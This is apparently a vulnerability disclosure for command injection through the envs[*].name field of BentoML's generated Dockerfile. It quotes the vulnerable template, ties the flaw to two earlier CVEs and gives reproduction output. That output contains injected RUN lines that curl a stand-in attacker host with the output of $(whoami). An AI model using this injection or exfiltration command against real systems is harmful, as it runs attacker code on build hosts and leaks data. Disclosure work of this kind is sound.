BentoML envs[*].name Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043

A malicious bentofile.yaml containing a newline-injected value in envs[*].name produces unquoted RUN directives in the BentoML-generated Dockerfile. When the victim runs bentoml containerize on the imported bento, those RUN directives execute on the host during docker build. Verified end-to-end on bentoml==1.4.38.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73:

{% for env in __bento_envs__ %}
{% set stage = env.stage | default("all") -%}
{% if stage != "runtime" -%}
ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}
ENV {{ env.name }}=${{ env.name }}
{% endif -%}
{% endfor %}

env.value is bash-quoted via the bash_quote filter, but env.name is interpolated raw with no escaping or newline filtering. The template is rendered by _bentoml_impl/docker.generate_dockerfile (the v2 SDK Docker generation path used by bentoml containerize for modern services).

Sibling relationship to existing CVEs

The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field:

• CVE-2026-33744 / GHSA-jfjg-vc52-wqvf (2026-03-25): added bash_quote to system_packages interpolation in Dockerfile templates and images.py.
• CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw (2026-04-02): added shlex.quote to system_packages in the cloud deployment path (_internal/cloud/deployment.py:1648).

Both patches limit themselves to system_packages. The envs[*].name field is the same root-cause class (bentofile.yaml value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope.

Reproduction

pip install bentoml==1.4.38
python verify_render.py

Expected:

[*] rendered Dockerfile size: 1789 bytes
[*] injected RUN lines: 3
    RUN curl -fsSL http://attacker.example.com/$(whoami)=1
    RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO
    RUN curl -fsSL http://attacker.example.com/$(whoami)